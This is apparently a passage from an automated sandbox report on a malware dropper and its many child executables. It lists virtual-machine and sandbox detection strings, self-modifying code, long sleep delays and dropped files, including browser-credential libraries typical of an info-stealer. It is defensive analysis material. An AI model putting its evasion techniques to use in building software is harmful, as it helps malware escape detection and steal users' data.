Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: FSYOvyvMMT80PCsMousFK1Xa.exe, 0000000B.00000002.2435161937.000000000025E000.00000004.00000001.01000000.00000007.sdmp

Binary or memory string: AAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Special instruction interceptor: First address: 7FF653CAC146 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Special instruction interceptor: First address: 613339 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Special instruction interceptor: First address: C4B373 instructions caused by: Self-modifying code

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Memory allocated: 3280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Memory allocated: 3330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Memory allocated: 5330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: FC0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2C80000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2AB0000 memory reserve \| memory write watch

Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Code function: GetCursorPos,GetCursorPos,GetCursorPos,Sleep,GetCursorPos,Sleep,GetCursorPos,

7_2_009FD9F0

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Window / User API: threadDelayed 1047	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Window / User API: threadDelayed 1613	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 1069
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 442

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_7-49489

Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\charset_normalizer\md.cp38-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\python3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\charset_normalizer\md__mypyc.cp38-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soul Media Player\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\pywin32_system32\pywintypes38.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32api.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\python38.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\exe\upx.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\exe\registers.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\Pythonwin\win32ui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BMP08.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soul Media Player\is-EGFT5.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\pywin32_system32\pythoncom38.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soul Media Player\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\JpL3YVeZ0uQ2FWGpg5WG.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BMP08.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\twain_32.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32security.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\select.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\cacls.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\zstandard\backend_c.cp38-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soul Media Player\soulmediaplayer.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\atieclxx.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32wnet.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soul Media Player\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\zstandard\_cffi.cp38-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Dropped PE file which has not been started: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soul Media Player\is-TIE2M.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\Pythonwin\mfc140u.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32net.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\BdeUISrv.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\exe\netconn_properties.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BMP08.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\SZM3Yb.I	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\sqln[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\lumma1504[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\AggregatorHost.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soul Media Player\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\at.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soul Media Player\is-GP76V.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soul Media Player\is-3VR8O.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32trace.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\win32\_win32sysloader.pyd	Jump to dropped file
